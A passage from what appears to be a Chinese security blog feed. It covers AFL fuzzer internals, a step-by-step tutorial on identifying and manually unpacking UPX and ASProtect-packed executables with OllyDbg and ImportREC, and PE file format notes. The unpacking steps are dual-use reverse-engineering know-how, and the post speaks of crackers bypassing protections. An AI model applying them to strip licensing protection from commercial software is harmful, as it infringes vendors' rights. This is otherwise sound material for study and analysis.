stepover)来连续地(sequentially)删除数据块任何不影响trace map的校验和(checksum)的删除块将被提交到disk。<br>这个修剪器的设计并不算特别地周密(thorough),相反地,它试着在精确度(precision)和进程调用execve()的次数之间选取一个平衡找到一个合适的block size和stepover。平均每个文件将增大约5-20%。<br>独立的<strong>afl-tmin工具</strong>使用更完整(exhaustive)、迭代次数更多(iteractive)的算法,并尝试对被修剪的文件采用字母标准化的方式处理。</p><h2 id="6-模糊测试策略-Fuzzing-strategies"><a href="#6-模糊测试策略-Fuzzing-strategies" class="headerlink" title="6) 模糊测试策略(Fuzzing strategies)"></a>6) 模糊测试策略(Fuzzing strategies)</h2><p>插桩提供的反馈(feedback)使得我们更容易理解各种不同fuzzing策略的价值从而优化(optimize)他们的参数。使得他们对不同的文件类型都能同等地进行工作。afl-fuzz用的策略通常是与格式无关format-agnostic详细说明在下边的连接中<br><a href="http://lcamtuf.blogspot.com/2014/08/binary-fuzzing-strategies-what-works.html" target="_blank" rel="noopener">binary-fuzzing-strategies-what-works</a><br>值得注意的一点是afl-fuzz大部分的(尤其是前期的)工作都是高度确定的(highly deterministic),随机性修改和测试用例拼接(random stacked modifications和test case splicing)只在后期的部分进行。 <strong>确定性的策略</strong> 包括:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">- Sequential bit flips <span class="keyword">with</span> <span class="built_in">varying</span> lengths <span class="keyword">and</span> stepovers,使用变化的长度和步距来连续进行位反转</span><br><span class="line"></span><br><span class="line">- <span class="keyword">Sequential</span> addition <span class="keyword">and</span> subtraction <span class="keyword">of</span> small integers,对小的整型数来连续进行加法和减法</span><br><span class="line"></span><br><span class="line">- <span class="keyword">Sequential</span> insertion <span class="keyword">of</span> known interesting integers (<span class="number">0</span>, <span class="number">1</span>, INT_MAX, etc),对已知的感兴趣的整型数连续地插入</span><br></pre></td></tr></table></figure></p><p>使用这些确定步骤的目的在于,生成紧凑的(compact)测试用例以及在产生non-crashing的输入和产生crashing的输入之间有很小的差异(small diffs)。<br><strong>非确定性(non-deterministic)策略</strong> 的步骤包括stacked bit flips、插入(insertions)、删除(deletions)、算数(arithmetics)和不同测试用例之间的拼接(splicing)。</p><p>由于在<a href="http://lcamtuf.coredump.cx/afl/historical_notes.txt" target="_blank" rel="noopener">historical_notes.txt</a> 中提到的原因(性能、简易性、可靠性)AFL通常不试图去推断某个特定的变异(specific mutations)和程序状态(program states)的关系。</p><p>fuzzing的步骤名义上来说是盲目的(nominally blind),只被输入队列的进化方式的设计所影响(<strong>见第三部分</strong>)。</p><p>这意味着,这条规则有一个例外:<br>当一个新的队列条目经过初始的确定性fuzzing步骤集合时并且文件的部分区域被观测到对执行路径的校验和没有影响这些队列条目在接下来的确定性fuzzing阶段可能会被排除。<br>尤其是对那些冗长的数据格式这可以在保持覆盖率不变的情况下减少10-40%的执行次数。在一些极端情况下比如一些block-aligned的tar文件这个数字可以达到90%。</p><h2 id="7-字典-Dictionaries"><a href="#7-字典-Dictionaries" class="headerlink" title="7) 字典(Dictionaries)"></a>7) 字典(Dictionaries)</h2><p>插桩提供的反馈能够让它自动地识别出一些输入文件中的语法(syntax)符号(tokens),并且能够为测试器(tested parser)检测到一些组合,这些组合是由预定义(predefined)的或自动检测到的(auto-detected)字典项(dictionary terms)构成的合法语法(valid grammar)。<br>关于这些特点在afl-fuzz是如何实现的可以看一下这个链接<br><a href="http://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html" target="_blank" rel="noopener">afl-fuzz-making-up-grammar-with</a><br>大体上,当基本的(basic, typically easily-obtained)句法(syntax)符号(tokens)以纯粹随机的方式组合在一起时,<strong>插桩</strong>和<strong>队列进化</strong>这两种方法共同提供了一种反馈机制,这种反馈机制能够区分无意义的变异和在插桩代码中触发新行为的变异。这样能增量地构建更复杂的句法(syntax)。<br>这样构建的字典能够让fuzzer快速地重构非常详细(highly verbose)且复杂的(complex)语法比如JavaScript, SQL,XML。一些生成SQL语句的例子已经在之前提到的博客中给出了。<br>有趣的是AFL的插桩也允许fuzzer自动地隔离(isolate)已经在输入文件中出现过的句法(syntax)符号(tokens)。</p><h2 id="8-崩溃去重De-duping-crashes"><a href="#8-崩溃去重De-duping-crashes" class="headerlink" title="8) 崩溃去重De-duping crashes"></a>8) 崩溃去重De-duping crashes</h2><p>崩溃去重是fuzzing工具里很重要的问题之一。很多naive的解决方式都会有这样的问题如果这个错误发生在一个普通的库函数中(如say, strcmp, strcpy),只关注出错地址(faulting address)的话,那么可能导致一些完全不相关的问题被分在一类(clustered together)。如果错误发生在一些不同的、可能递归的代码路径中,那么校验和(checksumming)调用栈回溯(call stack backtraces)时可能导致crash count inflation(通胀)。</p><p>afl-fuzz的解决方案认为满足一下两个条件那么这个crash就是唯一的(unique)<br><figure class="highlight nimrod"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">- <span class="type">The</span> crash trace includes a <span class="keyword">tuple</span> <span class="keyword">not</span> seen <span class="keyword">in</span> <span class="built_in">any</span> <span class="keyword">of</span> the previous crashes,这个crash的路径包括一个之前crash从未见到过的<span class="keyword">tuple</span>。</span><br><span class="line">- <span class="type">The</span> crash trace <span class="keyword">is</span> missing a <span class="keyword">tuple</span> that was always present <span class="keyword">in</span> earlier faults.这个crash的路径不包含一个总在之前crash中出现的<span class="keyword">tuple</span>。</span><br></pre></td></tr></table></figure></p><p>这种方式一开始容易受到count inflation的影响但实验表明其有很强的自我限制效果。和执行路径分析一样这种 <strong>崩溃去重</strong> 的方式是afl-fuzz的基石(cornerstone)。</p><h2 id="9-崩溃调查-Investigating-crashes"><a href="#9-崩溃调查-Investigating-crashes" class="headerlink" title="9) 崩溃调查(Investigating crashes)"></a>9) 崩溃调查(Investigating crashes)</h2><p>不同的crash的可用性(exploitability)是不同的。afl-fuzz提供一个crash的探索模式(exploration mode)来解决这个问题。<br>对一个已知的出错测试用例它被fuzz的方式和正常fuzz的操作没什么不同但是有一个限制能让任何non-crashing 的变异(mutations)会被丢弃(thrown away)。<br>这种方法的意义在以下链接中会进一步讨论:<br><a href="http://lcamtuf.blogspot.com/2014/11/afl-fuzz-crash-exploration-mode.html" target="_blank" rel="noopener">afl-fuzz-crash-exploration-mode</a><br>这种方法利用<strong>instrumentation的反馈</strong>探索crash程序的状态从而进一步通过歧义性的失败条件找到了最新发现的input。<br>对于crashes来说值得注意的是和正常的队列条目对比导致crash的input没有被去掉为了和它们的父条目队列中没有导致crash的条目对比它们被保存下来<br>这就是说afl-tmin可以被用来随意缩减它们。</p><h2 id="10-The-fork-server"><a href="#10-The-fork-server" class="headerlink" title="10) The fork server"></a>10) The fork server</h2><p>为了提升性能afl-fuzz使用了一个”fork server”fuzz的进程只进行一次execve(), 连接(linking), 库初始化(libc initialization)。fuzz进程通过copy-on-write(写时拷贝技术)从已停止的fuzz进程中clone下来。实现细节在以下链接中<br><a href="http://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html" target="_blank" rel="noopener">fuzzing-binaries-without-execve</a><br>fork server被集成在了instrumentation的程序下在第一个instrument函数执行时fork server就停止并等待afl-fuzz的命令。<br>对于需要快速发包的测试fork server可以提升1.5到2倍的性能。</p><h2 id="11-并行机制"><a href="#11-并行机制" class="headerlink" title="11) 并行机制"></a>11) 并行机制</h2><p>实现并行的机制是定期检查不同cpu core或不同机器产生的队列然后有选择性的把队列中的条目放到test cases中。<br>详见: parallel_fuzzing.txt.</p><h2 id="12二进制instrumentation"><a href="#12二进制instrumentation" class="headerlink" title="12二进制instrumentation"></a>12二进制instrumentation</h2><p>AFL-Fuzz对二进制黑盒目标程序的instrumentation是通过<strong>QEMU</strong>的“user emulation”模式实现的。<br>这样我们就可以允许跨架构的运行比如ARM binaries运行在X86的架构上。<br>QEMU使用basic blocks作为翻译单元利用QEMU做instrumentation再使用一个和编译期instrumentation类似的<strong>guided fuzz</strong>的模型。<br><figure class="highlight mipsasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">if (<span class="keyword">block_address </span>&gt; elf_text_start &amp;&amp; <span class="keyword">block_address </span>&lt; elf_text_end) &#123;</span><br><span class="line"></span><br><span class="line"> cur_location = (<span class="keyword">block_address </span>&gt;&gt; <span class="number">4</span>) ^ (<span class="keyword">block_address </span>&lt;&lt; <span class="number">8</span>)<span class="comment">;</span></span><br><span class="line"> <span class="keyword">shared_mem[cur_location </span>^ prev_location]++<span class="comment">;</span></span><br><span class="line"> prev_location = cur_location &gt;&gt; <span class="number">1</span><span class="comment">;</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>像QEMU, DynamoRIO, and PIN这样的二进制翻译器启动是很慢的。QEMU mode同样使用了一个fork server和编译期一样通过把一个已经初始化好的进程镜像直接拷贝到新的进程中。<br>当然第一次翻译一个新的basic block还是有必要的延迟为了解决这个问题AFL fork server在emulator和父进程之间提供了一个频道。这个频道用来通知父进程新添加的blocks的地址之后吧这些blocks放到一个缓存中以便直接复制到将来的子进程中。这样优化之后QEMU模式对目标程序造成2-5倍的减速相比之下PIN造成100倍以上的减速。</p><h2 id="13afl-analyze工具"><a href="#13afl-analyze工具" class="headerlink" title="13afl-analyze工具"></a>13afl-analyze工具</h2><p>文件格式分析器是最小化算法的简单扩展<br>前面讨论过; 该工具执行一系列步行字节翻转,然后在输入文件中注释字节运行,而不是尝试删除无操作块。</p>]]></content>
<categories>
<category> 二进制 </category>
</categories>
<tags>
<tag> AFL </tag>
<tag> 模糊测试 </tag>
</tags>
</entry>
<entry>
<title>加壳与脱壳</title>
<link href="/2019/05/14/pack-and-unpack/"/>
<url>/2019/05/14/pack-and-unpack/</url>
<content type="html"><![CDATA[<p>壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。<br>壳附加在原始程序上通过Windows加载器载入内存后先于原始程序执行以得到控制权在执行的过程中对原始程序进行解密还原然后把控制权还给原始程序执行原来的代码。<br>加上外壳后,原始程序在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原。这样可以有效防止破解者对程序文件进行非法修改,也可以防止程序被静态反编译。</p><h1 id="壳的加载过程"><a href="#壳的加载过程" class="headerlink" title="壳的加载过程"></a>壳的加载过程</h1><p>壳和病毒在某些地方类似,都需要获得比原程序更早的控制权。壳修改了原程序执行文件的组织结构,从而获得控制权,但不会影响原程序正常运行。</p><ol><li>保存入口参数<br>加壳程序在初始化时会保存各寄存器的值待外壳执行完毕再恢复各寄存器的内容最后跳回原程序执行。通常用pushad/popad等指令保存和恢复现场环境。</li><li>获取壳本身需要使用的API地址<br>一般情况下外壳的输入表中只有GetProcAddress、GetModuleHandle和LoadLibrary这三个API函数甚至只有Kernel32.dll及GetProcAddress。如果需要其他API函数可以通过LoadlibraryA或LoadlibraryExA将DLL文件映像映射到调用进程的地址空间中函数返回的HINSTANCE值用于标识文件映像所映射的虚拟内存地址。</li><li>解密原程序各个区块的数据<br>在程序执行时,外壳将解密区块数据,使程序正常运行。</li><li>IAT的初始化<br>IAT的填写本来由PE装载器实现但由于在加壳时构造了一个自建输入表并让PE文件头数据目录表中的输入表指针指向自建输入表PE装载器转而填写自建输入表程序的原始输入表被外壳变形后存储IAT的填写会由外壳程序实现。外壳从头到尾扫描变形后的输入表结构重新获得引入函数地址填写在IAT中。</li><li>重定位项的处理<br>针对加壳的DLL</li><li>Hook API<br>壳在修改原程序文件的输入表后自己模仿操作系统的流程向输入表填充相关数据。在填充过程中外壳可以填充Hook API代码的地址从而获得程序控制权。</li><li>跳转到OEP</li></ol><h1 id="通用脱壳方法"><a href="#通用脱壳方法" class="headerlink" title="通用脱壳方法"></a>通用脱壳方法</h1><p>通常脱壳的基本步骤如下:<br>1:寻找OEP<br>2:转储(PS:传说中的dump)<br>3:修复IAT(修复导入表)<br>4:检查目标程序是否存在AntiDump等阻止程序被转储的保护措施,并尝试修复这些问题。<br>以上是脱壳的经典步骤,可能具体到不同的壳的话会有细微的差别。</p><h2 id="寻找OEP"><a href="#寻找OEP" class="headerlink" title="寻找OEP"></a>寻找OEP</h2><ol><li>搜索JMP或者CALL指令的机器码(即一步直达法,只适用于少数壳,包括UPX,ASPACK壳)<br>对于一些简单的壳可以用这种方式来定位OEP,但是对于像AsProtect这类强壳(PS:AsProtect在04年算是强壳了,嘿嘿)就不适用了,我们可以直接搜索长跳转JMP(0E9)或者CALL(0E8)这类长转移的机器码,一般情况下(理想情况)壳在解密完原程序各个区段以后,需要一个长JMP或者CALL跳转到原程序代码段中的OEP处开始执行原程序代码。按CTRL+B组合键搜索一下JMP的机器码E9(CTRL+L查看下一个,看看有没有这样一个JMP跳转到原程序的代码段。</li><li>使用OllyDbg自带的功能定位OEP(SFX法)<br>演示这种方法目标程序我们还是选择CRACKME UPX.EXE,用OD加载该程序,然后选择菜单项Options-Debugging options-SFX。该选项只有当OllyDbg发现壳的入口点位于代码段之外的时候才会起作用,壳的入口点位于代码段中的情况还是比较少见的。</li><li>使用Patch过的OD来定位OEP(即内存映像法)<br>正常的内存访问断点读取,写入,执行的时候都会断下来,该Patch过的OD内存访问断点仅当执行的时候才会断下来,我们可以利用这一点来定位OEP。<br>UPX壳的解密例程会解密原程序的各个区段并将各个区段原始字节写回到原处,我们最好不要在解密区段的过程中断下来,说不定要断成千上万次才能到达OEP,这里有了这个Patch过的OD就方便多了,其内存访问断点仅当执行的时候才会断下来,当其在执行第一个区段中的代码时,基本上就可以断定是OEP了。</li><li>堆栈平衡法(即ESP定律法)<br>这种方法适用于一些古老的壳。这些壳首先会使用PUSHAD指令保存寄存器环境,在解密各个区段完毕,跳往OEP之前,会使用POPAD指令恢复寄存器环境。<br>有的情况下保存寄存器环境可能不是第一条指令,但也在附近了,还有些情况下,有些壳不使用PUSHAD,而是逐一PUSH各个寄存器(例如:PUSH EAX,PUSH EBX等等),总而言之,在解密完区段,跳往OEP之前会恢复寄存器环境。<br>按F7键执行PUSHAD:可以看到各个寄存器的初始值被压入到堆栈中了,这里我们可以对这些初始值设置内存或者硬件访问断点,当解密例程读取这些初始值的时候就会断下来,断下来处基本上就在OEP附近了。<br>这里我们可以通过在ESP寄存器值上面单击鼠标右键选择-Follow in dump在数据窗口中定位到这些寄存器的初始值。对这些初始值的第一个字节或者前4个字节设置硬件访问断点。当壳的解密例程读取该值的时候断了下来停在popad的下一行,紧接着下面就是跳往OEP处,说明这个方法起作用了。</li><li>VB应用程序定位OEP法(Native 或者 P-CODE)<br>定位VB程序的OEP比较容易,因为VB应用程序都有一个特点-开始都是一个PUSH指令,紧接着一个CALL指令调用一个VB API函数。我们可以使用Patch过的OD,首先定位到VB的动态库,接着给该动态库的代码段设置内存访问断点,<br>当壳的解密例程解密完原程序各个区段,接着就会断在VB DLL的第一条指令处,接着我们可以在堆栈中定位到返回地址,就可以来到OEP的下一条指令处。这里我们也可以使用前面介绍的方法-跟逐一给各个区段设置内存访问断点(使用Patch过的OD),但是很多壳会检测这种方法,所以大家可能根据需要不同的情况来尝试这不同的方法。这种方法很容易理解,我就不举例子了,以后大家如果遇到了VB程序可以试试这种方法。</li><li>最后一次异常法<br>如果我们在脱壳的过程中发现目标程序产生大量异常的话,就可以使用最后一次异常法,将EXCEPTIONS菜单项中的忽略各个异常的选项都勾选上,运行起来。这里我们可以看到产生了好几处异常,但是都不是位于第一个区段,说明这些异常不是在原程序运行期间发生的,是在壳的解密例程执行期间产生的异常。重新启动OD,将EXCEPTIONS菜单项中忽略的异常选项的对勾都去掉,仅保留Ignore memory access violations in KERNEL32这个选项的对勾。按SHIFT + F9忽略异常继续运行,我们直到最后一次异常。<br>接着我们可以 <strong><em>对代码段设置内存访问断点</em></strong> ,可能有人会问,为什么不在一开始设置内存访问断点呢?原因是很多壳会检测程序在开始时是否自身被设置内存访问断点,如果执行到了最后一次异常处的话,很可能已经绕过了壳的检测时机!</li><li>用壳最常用的API函数来定位OEP<br>将忽略的异常选项都勾选上,我们来定位一下壳最常用的API函数,比如GetProcAddress,LoadLibrary。ExitThread有些壳会用。<br>使用bp GetProcAddress命令给该API函数设置一个断点。我们只需要知道壳在哪些地方调用GetProcAddress,所以我们在断下来的这一行上面单击鼠标右键选择-Breakpoint-Conditional log,来设置条件记录。将Pause program这一项勾选上Never,记录的表达式设置为[ESP],也就是记录返回地址,这样我们就能知道哪些地方调用GetProcAddress。接着在日志窗口中单击鼠标右键选择-Clear Log(清空日志)。运行起来,我们可以看到程序的主窗口弹了出来,打开日志窗口,看看最后一次GetProcAddress(排除掉第一个区段中调用的位置)是在哪里被调用的。<br>我们可以在 <strong><em>对代码段设置内存访问断点</em></strong> 之前尝试一下这种方法,这样就可以绕过很多壳对内存断点的检测,但是有一些壳也会对API函数断点进行检测,所以说我们需要各种方式都尝试一下,找到最合适的。</li><li>利用应用程序调用的第一个API函数来定位OEP</li></ol><h2 id="IAT表修复"><a href="#IAT表修复" class="headerlink" title="IAT表修复"></a>IAT表修复</h2><p>为了确保操作系统将正确的API函数地址填充到IAT中,应该满足一下几点要求:<br>1:可执行文件各IAT项所在的文件偏移处必须是一个指针,指向一个字符串。<br>2:该字符串为API函数的名称。<br>如果这两项满足,就可以确保程序在启动时,操作系统会将正确的API函数地址填充到IAT中。<br>假如,我们当前位于被加壳程序的OEP处,我们接下来可以将程序dump出来,但是在dump之前我们必须修复IAT,为什么要修复IAT呢?难道壳将IAT破坏了吗?对,的确是这样,壳压根不需要原程序的IAT,因为被加壳程序首先会执行解密例程,读取IAT中所需要的API的名称指针,然后定位到API函数地址,将其填入到IAT中,这个时候,IAT中已经被填充了正确的API函数地址,对应的API函数名称的字符串已经不需要了,可以清除掉。<br>大部分的壳会将API函数名称对应的字符串以密文的形式保存到某个地址处,让Cracker们不能那么容易找到它们。</p><h1 id="压缩壳"><a href="#压缩壳" class="headerlink" title="压缩壳"></a>压缩壳</h1><p>压缩壳的特点就是减小软件的体积加密保护不是重点。目前兼容性和稳定性较好的压缩壳有UPX、ASPack、PECompact等。</p><h2 id="UPX"><a href="#UPX" class="headerlink" title="UPX"></a><a href="https://upx.github.io/" target="_blank" rel="noopener">UPX</a></h2><p>UPX-the Ultimate Packer for eXecutables是以命令行方式操作的可执行文件压缩程序。<br>UPX早期的压缩引擎是有UPX自己实现的其3.x版本也支持LZMA第三方压缩引擎。UPX除了对目标程序进行压缩也可以解压缩。它不包含任何反调试或保护策略。另外UPX保护工具UPXPR、UPX-sCRAMBLER等可修改UPX加壳标志使其自解压功能失效。<br><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Usage: upx <span class="string">[-123456789dlthVL]</span> <span class="string">[-qvfk]</span> <span class="string">[-o file]</span> file</span><br></pre></td></tr></table></figure></p><h3 id="识别UPX加壳"><a href="#识别UPX加壳" class="headerlink" title="识别UPX加壳"></a>识别UPX加壳</h3><p>被加壳程序:点击按钮之后弹框</p><ol><li><p>导入函数很少<br>未加壳程序的导入函数:<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557817831/%E5%8A%A0%E5%A3%B3/1.png" alt><br>加壳后的导入函数:<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557817867/%E5%8A%A0%E5%A3%B3/2.png" alt></p></li><li><p>使用IDA识别代码段<br>只有少量的代码被识别</p></li><li><p>使用OllyDbg打开程序警告被加壳<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557819108/%E5%8A%A0%E5%A3%B3/3.png" alt></p></li><li><p>程序的节名包含加壳器的标识<br>加壳后的程序节名为UPX0、UPX1、rsrc</p></li><li><p>程序拥有不正常的节大小。例如.text节的原始数据大小为0但虚拟大小非0<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557819290/%E5%8A%A0%E5%A3%B3/4.png" alt></p></li><li><p>使用加壳探测工具如PEiD<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557820111/%E5%8A%A0%E5%A3%B3/5.png" alt></p></li><li><p>熵值计算<br>压缩或加密数据更接近于随机数据熵值更高。如使用PEiD计算熵值<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557821441/%E5%8A%A0%E5%A3%B3/6.png" alt><br>PEiD计算熵值的方法<br>1.重新组织需要计算的数据<br>i以下数据不列入计算熵的范围导出表数据、导入表数据、资源数据、重定向数据。<br>ii. 尾部全0的数据不列入计算熵的范围。<br>iii. PE头不列入计算熵的范围。<br>2.分别计算每一部分数据的熵E和该部分数据大小S。<br>3.以下列公式得到整个PE文件的熵 Entropy = ∑Ei * Si / ∑Si (i = 1,2…n)。</p></li></ol><h3 id="UPX手动脱壳"><a href="#UPX手动脱壳" class="headerlink" title="UPX手动脱壳"></a>UPX手动脱壳</h3><p>根据 <strong><em>栈平衡原理</em></strong> 寻找OEP<br>在编写加壳软件时必须保证外壳初始化的现场环境各寄存器值与原程序的现场环境相同。因此加壳程序在初始化时保存各寄存器的值待外壳执行完毕后恢复寄存器的内容最后跳转到原程序执行。通常用pushadpush eax/ecx/edx/ebx/esp/ebp/esi/edi、popad来保存和恢复现场环境。<br>首先用Ollydbg加载已加壳的程序起始代码如下<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557836854/%E5%8A%A0%E5%A3%B3/7.png" alt><br>此时现场环境(寄存器值)如下:<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557837144/%E5%8A%A0%E5%A3%B3/8.png" alt><br>在执行pushad指令后寄存器的值被压入栈中如下所示<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557837250/%E5%8A%A0%E5%A3%B3/9.png" alt><br>此时esp指向12FFA4h对这个地址设置硬件访问断点然后运行程序在调用popad恢复现场环境时会访问12FFA4h造成中断此时离OEP已经不远了<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557837519/%E5%8A%A0%E5%A3%B3/10.png" alt><br><figure class="highlight maxima"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">005B5155</span> .- E9 9506F4FF jmp carckUPX.<span class="number">004F57EF</span></span><br></pre></td></tr></table></figure></p><p>即为跳转到OEP的指令设置断点跟进到004F57EF此时我们就来到了OEP。<br>dump和修复IAT表的工具很多。</p><ol><li>使用Ollydump进行程序脱壳和IAT表修复。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557837859/%E5%8A%A0%E5%A3%B3/11.png" alt><br>使用PEiD检查果然壳已经脱掉</li><li>使用PETools dump和Import Reconstruct修复IAT<br>使用PETools出来的程序不能运行提示win32无法识别这是因为IAT表没有重建。<br>使用Import Reconstruct需要知道IAT表的起始位置。<br>我们知道API函数的调用通常是通过间接跳转或者间接CALL来实现的。<br>即JMP [XXXXXXX] or CALL [XXXXXX]这样是直接调用IAT中保存的API函数地址。<br>首先定位到获取IAT中函数地址的跳转表,这里就是该程序将要调用到的一些API函数,我们可以看到这些跳转指令的都是以机器码FF 25开头的,有些教程里面说直接搜索二进制FF 25就可以快速的定位该跳表。<br>看到整个IAT后,我们直接下拉到IAT的尾部,我们知道属于同一个动态库的API函数地址都是连续存放的,不同的动态库函数地址列表是用零隔开的。<br>Import REConstructor重建IAT需要三项指标:<br>1)IAT的起始地址,这里是403184,减去映像基址400000就得到了3184(RVA:相对虚拟地址)。<br>2)IAT的大小<br>IAT的大小 = 40328C - 403184 = 108(十六进制)<br>3)OEP = 401000(虚拟地址)- 映像基址400000 = 1000(OEP的RVA)。</li></ol><h2 id="ASPack"><a href="#ASPack" class="headerlink" title="ASPack"></a><a href="http://www.aspack.com/" target="_blank" rel="noopener">ASPack</a></h2><p>ASPack是一款Win32可执行文件压缩软件可压缩Win32可执行文件EXE、DLL、OCX具有很高的兼容性和稳定性。</p><h1 id="加密壳"><a href="#加密壳" class="headerlink" title="加密壳"></a>加密壳</h1><p>加密壳种类较多,一些壳只保护程序,另一些壳提供额外的功能如注册、使用次数、时间限制。越有名的加密壳,其破解可能性越大。</p><h2 id="ASProtect"><a href="#ASProtect" class="headerlink" title="ASProtect"></a>ASProtect</h2><p>这个壳在pack界当选老大是毫无异议的当然这里的老大不仅指它的加密强度而是在于它开创了壳的新时代SEH,BPM断点的清除都出自这里更为有名的当属RSA的使用使得Demo版无法被crack成完整版本,code_dips也源于这里。IAT的处理即使到到现在看来也是很强的。他的特长在于各种加密算法的运用这也是各种壳要学习的地方。<br>它可以压缩、加密、反跟踪代码、CRC校验和花指令等保护措施。<br>使用Blowfish、Twofish、TEA等加密算法以RSA1024为注册密钥生成器通过API钩子与加壳程序通信。<br>ASProtect为软件开发人员提供了SDK从而实现了加密程序的内外结合。<br>ASProtect 1.x系列低版本用Stripper工具可自动脱壳。ASProtect的SKE系列主要在protect OEP和SDK上采用了虚拟机技术。</p><h3 id="加密后的特征"><a href="#加密后的特征" class="headerlink" title="加密后的特征"></a>加密后的特征</h3><ol><li>导入函数很少</li><li>程序的节名不再是典型的.text</li><li>使用IDA打开几乎没有可识别的代码</li><li>使用OllyDbg打开程序被警告该程序已加密查找参考文本字符串都是乱码</li><li>使用PEiD检查出是ASProtect加壳</li></ol>]]></content>
</entry>
<entry>
<title>PE文件格式学习</title>
<link href="/2019/05/13/PE-file/"/>
<url>/2019/05/13/PE-file/</url>
<content type="html"><![CDATA[<h1 id="PE文件格式"><a href="#PE文件格式" class="headerlink" title="PE文件格式"></a>PE文件格式</h1><p>PE(Portable Executable)是Win32平台下可执行文件遵守的数据格式。常见的可执行文件如exe和dll都是典型的PE文件。PE文件格式其实是一种数据结构包含Windows操作系统加载管理可执行代码时所必要的信息如二进制机器代码、字符串、菜单、图标、位图、字体等。PE文件格式规定了所有这些信息在可执行文件中如何组织。<strong>在程序被执行时操作系统会按照PE文件格式的约定去相应地方准确定位各种类型的资源并分别装入内存的不同区域。</strong><br>PE文件格式把可执行文件分成若干个数据节section不同资源被存放在不同的节中一个典型的PE文件中包含的节如下</p><ul><li><code>.text</code> 由编译器产生,存放着二进制的机器代码,也是反汇编和调试的对象</li><li><code>.data</code> 初始化的数据块,如宏定义、全局变量、静态变量等</li><li><code>.idata</code> 可执行文件所使用的动态链接库等外来函数与文件信息</li><li><code>.rsrc</code> 存放程序的资源,如图标、菜单等<br>除此之外,还有可能有<code>.reloc</code>,<code>.edata</code>,<code>.tls</code>,<code>.rdata</code></li></ul><h1 id="0x01-PE文件与虚拟内存之间的映射"><a href="#0x01-PE文件与虚拟内存之间的映射" class="headerlink" title="0x01 PE文件与虚拟内存之间的映射"></a>0x01 PE文件与虚拟内存之间的映射</h1><h2 id="虚拟内存"><a href="#虚拟内存" class="headerlink" title="虚拟内存"></a>虚拟内存</h2><p>Windows的内存可以被分为两个层面物理内存和虚拟内存。其中物理内存比较复杂需要进入Windows内核级别ring0才能看到。通常在用户模式下我们用调试器看到的都是虚拟内存。<br>如果我们把这看成银行,那么就很好理解了。</p><ul><li>进程相当于储户</li><li>内存管理器相当于银行</li><li>物理内存相当于钞票</li><li>虚拟内存相当于存款</li></ul><h2 id="映射关系"><a href="#映射关系" class="headerlink" title="映射关系"></a>映射关系</h2><ol><li>在漏洞挖掘中,经常需要的两种操作:</li></ol><ul><li>静态反编译工具看到的是PE文件中某条指令的位置是相对与磁盘而言的就是所谓的 <strong>文件偏移</strong> ,我们可能还需要知道这条指令在内存中的位置,这个位置就是虚拟内存地址(VA)</li><li>反过来,在调试时看到的某条指令的地址是 <strong>虚拟内存地址VA</strong>也就是我们需要回到PE文件中找到这条指令对应的机器码</li></ul><ol start="2"><li>几个重要概念</li></ol><ul><li>文件偏移地址(File Offset)<br>数据在PE文件中的地址叫做文件偏移地址,可以理解为就是文件地址。这是文件在磁盘上存放相对与文件开头的偏移。</li><li>装载基址(Image Base):<br>PE装入内存时的基地址。默认情况下EXE文件在内存中对应的基地址是<code>0x00400000</code>,DLL文件是<code>0x10000000</code>。这些位置可能通过编译选项修改</li><li>虚拟内存地址(Virtual Address,VA )<br>PE文件中的指令装入内存后的地址。</li><li>相对虚拟地址(Relative Virtual Address, RVA)<br>相对虚拟地址是内存地址相对于映射基址的偏移量。</li></ul><ol start="3"><li><p>虚拟内存地址,装载基址,相对虚拟内存地址三者之间的关系:</p><blockquote><p>VA = Image Base + RVA</p></blockquote></li><li><p>文件偏移地址与相对虚拟地址:<br>文件偏移地址是相对于文件开始处0字节的偏移,RVA(相对虚拟地址)则是相对于装载基址0x00400000处的偏移.由于操作系统在装载时“基本”上保持PE中的数据结构所以文件偏移地址和RVA有很大的一致性。不是全部相同<br>PE文件中的数据按照磁盘数据标准存放以0x200为基本单位进行组织。当一个数据节(stction)不足0x200字节时不足的地方将用0x00填充当一个数据节超过0x200时下一个0x200块将分配给这个节使用。所以PE数据节大小永远是0x200的整数倍<br>当代码装入后将按照内存数据标准存放并以0x1000字节为基本的存储单位进行组织不足和超过的情况类似上面。因此内存中的节总是0x1000的整倍数。<br>由于内存中数据节相对于装载基址的偏移量和文件中数据节的偏移量有上述差异,所以进行文件偏移到内存地址之间的换算时,还要看所转换的地址位于第几个节内:</p><blockquote><p>文件偏移地址 = 虚拟内存地址(VA) - 装载基址(Image Base) - 节偏移<br> = RVA - 节偏移</p></blockquote></li><li><p>工具<br><a href="https://tools.pediy.com/win/PE_tools/Lordpe/LPE-DLX.rar" target="_blank" rel="noopener">LordPE DLX增强版(2017..6.08)</a><br><a href="https://tools.pediy.com/win/Resource/Resource%20Hacker/reshhack3.4.zip" 